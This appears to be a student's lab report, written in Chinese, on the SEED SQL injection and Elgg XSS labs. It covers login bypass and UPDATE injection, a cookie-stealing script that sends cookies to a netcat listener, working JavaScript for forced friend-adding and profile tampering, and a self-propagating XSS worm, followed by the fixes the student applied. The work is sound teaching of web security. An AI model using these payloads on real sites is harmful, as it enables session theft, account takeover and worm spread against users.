20242942 2024-2025-2《网络攻防实践》实验十
1.实践内容
一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。
2.实践过程
根据老师建议配置新的seedUbuntu环境,点击https://seedsecuritylabs.org/lab_env.html链接,我下载的DigitalOcean。

下载好之后,在VMwar新建一个虚拟机,按照之前实验一的步骤来安装就可以,磁盘选择SEEDUbuntu-16.04-32bit.vmdk

mysql -u root -p #-u root: 指定要使用的用户名,这里是 root 用户。-p: 表示将提示我们输入密码来验证用户身份。在输入命令后,系统会提示您输入密码,然后按回车键确认。
use Users; #use 后面跟着数据库名称,表示进入该数据库。
show tables; #显示当前数据库中的所有表格(或称为数据表)。select * from credential; #从名为 credential 的表格中检索所有的行和列,并将它们作为结果返回。select * from credential where Name='Alice'; #从名为 credential 的表格中检索所有 Name 列的值等于 'Alice' 的行,并将它们作为结果返回。
先提权,按要求设置主机名为zyl,在SEED Ubuntu中输入命令mysql -u root -p,回车,输入密码seedubuntu登录数据库。

输入命令use Users;查询Users数据库中的数据表,并使用命令读取数据表中的字段,每行分别输入回车执行,如下图所示。
show tables;
select * from credential;


打开链接www.SEEDLabSQLInjection.com。

单击f12。可以找到,该网页的登录方式为账号密码以GET的方式给了一个叫unsafe_home.php的文件进行验证。

打开终端输入nano /var/www/SQLInjection/unsafe_home.php查看该文件来获得具体的登录验证方式

该文件验证的方式是通过 加载数据库信息 ,使用select语句 查询 是否有该用户和对应密码。显然只要输入任意一个存在于数据库中的账号名字后面加上' #后上传这个语句,本来功能正常的select语句将会 注释掉验证密码的半句,从而绕过验证,实现只用用户名登录 。输入入Admin' #作为账号,不输入密码登录试试


成功登录成功,说明上述分析没有问题,同理输入一个员工Alice的名字而不输入密码,也可以绕过密码验证来查看Alice的个人信息。这是一个典型的sql注入

对表中的元素进行修改 。
修改Admin的工资,目前是400000,单击f12查看页面代码。用同样的方法,可以看到这一次使用的文件是unsafe_edit_backend.php,同样也是使用get方法。(这里要注意,出现了一个问题,就是屏幕太小,显示不出来 Edit Profit 这个选项,解决方法请看下文遇到的困难和解决方法)


在终端输入nano /var/www/SQLInjection/unsafe_edit_backend.php查看文件

可以看到,该文件中使用update语句来更新内容条目。因此可以在原框输入',Salary='2942' where Name='Admin';#,将他的工资改为2942(本人学号),可以看到成功通过注入修改了他的工资,原理与上相同。


接下来尝试更改sql语句来 防止sql注入。
对unsafe_home.php文件中更改sql语句为:$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password From credential WHERE name= ? and Password=?;"); $sql->bind_param("ss",$input_uname,$hashed_pwd);

对unsafe_edit_backend.php文件中更改sql语句为:$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

可以看到不能用原先的Alice’;#登录了,上述防止sql注入成功保护

实验二:XSS跨站脚本攻击实验
| 用户名 | 密码 |
|---|---|
| Alice | seedalice |
| Boby | seedboby |
| Samy | seedsamy |
| Admin | seedelgg |
再火狐浏览器中打开http://www.xsslabelgg.com/,用账号alice和密码seedalice登录。

点进主页,在Brief description处写入<script>alert("20242942zyl");</script>,发现弹出窗口显示20242942zyl


每次进入这个界面都会弹窗,将Brief description处的内容换成<script> alert(document.cookie);</script>,再次保存提交,能成功得到网页的cookie。

接下来我们要通过反射式的XSS来远程获取cookie。 先键入ifconfig查看本机ip,ip为 192.168.200.136
将Brief description处的内容换成<script>document.write('<img src=http://192.168.200.136:1921?c=' + escape(document.cookie) + '>');</script>,然后我们去终端输入nc -l 1921 -v开启端口监听。然后在网页上保存,这里我开始用的5555端口,监听失败了,于是换成了1921


可以看到已经拦截到了cookie信息。
接下来我们要 以受害者朋友的身份来攻击。 将鼠标悬停在boby主页的add friend上,按F12可以查看到可以看到下方有一个请求代码,这说明了要向http://www.xsslabelgg.com/action/friends/add发送一个请求,并且附带了id,时间戳和token三个参数.

来到Alice的edit profile处,在edit html模式下往about me中填写如下代码:
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>

保存之后访问boby主页再回来可以看到已经 越过验证直接添加boby为好友 ,甚至访问自己的主页还能添加自己为好友,它的原理是构造了一个XMLHttpRequest对象,以GET方式向添加好友的URL发送请求,由于构造的参数是对的,因此直接绕过了验证成功添加。

继续在Alice的about me中修改恶意代码来修改受害人的信息进行攻击。插入恶意代码如下:
<script type="text/javascript">
window.onload = function() {
// 获取用户会话信息
var userName = elgg.session.user.name;
var guid = "&guid=" + elgg.session.user.guid;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
// 构造恶意payload
var content = token + ts +
"name=" + userName +
"&description=<p>This have been cracked by alice.</p>" +
"&accesslevel[description]=2" +
"&briefdescription=&accesslevel[briefdescription]=2" +
"&location=&accesslevel[location]=2" +
"&interests=&accesslevel[interests]=2" +
"&skills=&accesslevel[skills]=2" +
"&contactemail=&accesslevel[contactemail]=2" +
"&phone=&accesslevel[phone]=2" +
"&mobile=&accesslevel[mobile]=2" +
"&website=&accesslevel[website]=2" +
"&twitter=&accesslevel[twitter]=2" +
guid;
// 目标URL
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
// 排除特定用户(Samy)
var samyGuid = 45;
if(elgg.session.user.guid != samyGuid) {
// 发送恶意请求
var Ajax = new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

当保存操作后,在浏览器端访问Alice的主页,再返回自己主页时,发现“about me”部分显示已被Alice攻击。其原理主要是:先通过访问elgg.session.user对象,获取当前登录用户的用户名(name)、唯一标识符(guid)以及安全令牌(elgg.security.token)。接着,将这些获取到的用户信息和安全令牌,连同要设置的恶意内容(例如description=<p>This have been cracked by alice.</p>)一起拼接成一个POST请求的参数字符串。这些参数模拟了正常用户在编辑个人资料时提交的数据格式。最后,利用XMLHttpRequest对象向服务器发送POST请求,目标URL是个人资料编辑的接口(http://www.xsslabelgg.com/action/profile/edit)。请求中包含了构造好的恶意参数,服务器在处理该请求时,会将恶意内容保存到受害者的个人资料中。


接下来给这个代码添加 传播 的部分,同理修改恶意代码如下:
<script id="worm" type="text/javascript">
window.onload = function() {
// 蠕虫自复制部分
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
// 获取用户凭证
var userName = elgg.session.user.name;
var guid = "&guid=" + elgg.session.user.guid;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
// 构造感染payload
var content = token + ts +
"&name=" + userName +
"&description=<p>20242942zyl" + wormCode + "</p>" +
"&accesslevel[description]=2" +
"&briefdescription=&accesslevel[briefdescription]=2" +
"&location=&accesslevel[location]=2" +
"&interests=&accesslevel[interests]=2" +
"&skills=&accesslevel[skills]=2" +
"&contactemail=&accesslevel[contactemail]=2" +
"&phone=&accesslevel[phone]=2" +
"&mobile=&accesslevel[mobile]=2" +
"&website=&accesslevel[website]=2" +
"&twitter=&accesslevel[twitter]=2" +
guid;
// 目标地址
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
// 排除特定用户(guid=44)
var samyGuid = 44;
if(elgg.session.user.guid != samyGuid) {
// 发起感染请求
var Ajax = new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
其原理主要是先通过document.getElementById("worm").innerHTML获取当前脚本的代码内容,并将这部分内容存储到jsCode变量中。接着,分别获取脚本的头部和尾部标签,将它们分别存储在headerTag和tailTag变量里。之后,将头部标签、脚本代码以及尾部标签拼接起来,形成完整的脚本内容,再对其进行URL编码,然后将编码后的结果存储在wormCode变量中。紧接着,获取一些必要的信息,如name、guid等。最后,在构造的POST请求参数中,将恶意代码(wormCode)嵌入到用户个人资料的description字段中。这样一来,当其他用户查看受害者的个人资料时,嵌入的恶意代码就会被触发并执行。
为了验证这段代码是否具有传播能力,进行了以下操作:首先清空了用户boby的“about me”字段。然后,使用boby的账户访问Alice的主页。之后,再次返回boby自己的页面,结果发现“about me”字段已经被篡改,显示出了被攻击的内容。这表明恶意代码不仅能够成功嵌入,还具备了自动传播的能力。

接下来登录Admin,访问boby的主页。发现也被传染,证明蠕虫已经具备了传播能力

登录管理员Admin的账户,点击右上角的Account–Administration进入管理界面后点击Plugins

并找到插件HTMLawed并点击Activate按钮激活该插件,(第二个)

激活后,重新进行XSS攻击实验,例如,这里重新进行修改受害者主页信息的XSS攻击,就会发现,XSS攻击已经失效。对抗XSS攻击成功,重新让Admin访问Alice,发现无法进行主页修改。

3.学习中遇到的问题及解决
问题1:Ubuntu的屏幕太小出问题导致实验一中本应该出现的按钮edit profile没有了,这个问题困扰我好久,我一度以为自己的环境或者虚拟机出问题了,或者是链接不对,导致没有这个按钮。

问题1解决方案:点击右上角的设置按钮,找到systemseting,然后点击Displays 选择一个合适的尺寸应用一下就可以,

问题2:About me框添加js程序代码失败
问题2解决方案:需要打开About me框右上角的edit html模式,否则Visual editor模式下是无法保存js程序代码的。
问题3:在About me 中写好代码后,下拉鼠标没有保存按钮,
问题3解决方案:还是因为屏幕自适应问题,按Ctrl键+鼠标下滑,缩小网页界面,就可以找到小小小小的save按钮,我甚至还因为问题1 觉得又是我环境出了问题。
4.实践总结
这次的实验不是很难,在SQL注入实验中,通过熟悉SQL语句,成功利用Web应用漏洞,对SELECT和UPDATE语句实施SQL注入攻击,分别实现了在未知密码情况下登录和篡改员工信息。之后修复代码漏洞,增强了Web应用的SQL注入防御能力,有效阻止了SQL注入攻击。在XSS攻击实验中,利用Elgg Web应用的XSS漏洞,发布恶意消息,实现弹窗显示cookie信息、窃取受害者cookie、自动加受害者为朋友以及修改受害者信息等攻击操作,编写XSS蠕虫,使攻击在用户间传播。我学会了对抗XSS攻击的方法,提升Web应用的安全性。通过本次实验,我加深了对SQL注入和XSS攻击原理的理解,掌握了一些相应的防御技术,这些知识和技能将为之后的网络安全学习和实践提供坚实的基础。

浙公网安备 33010602011771号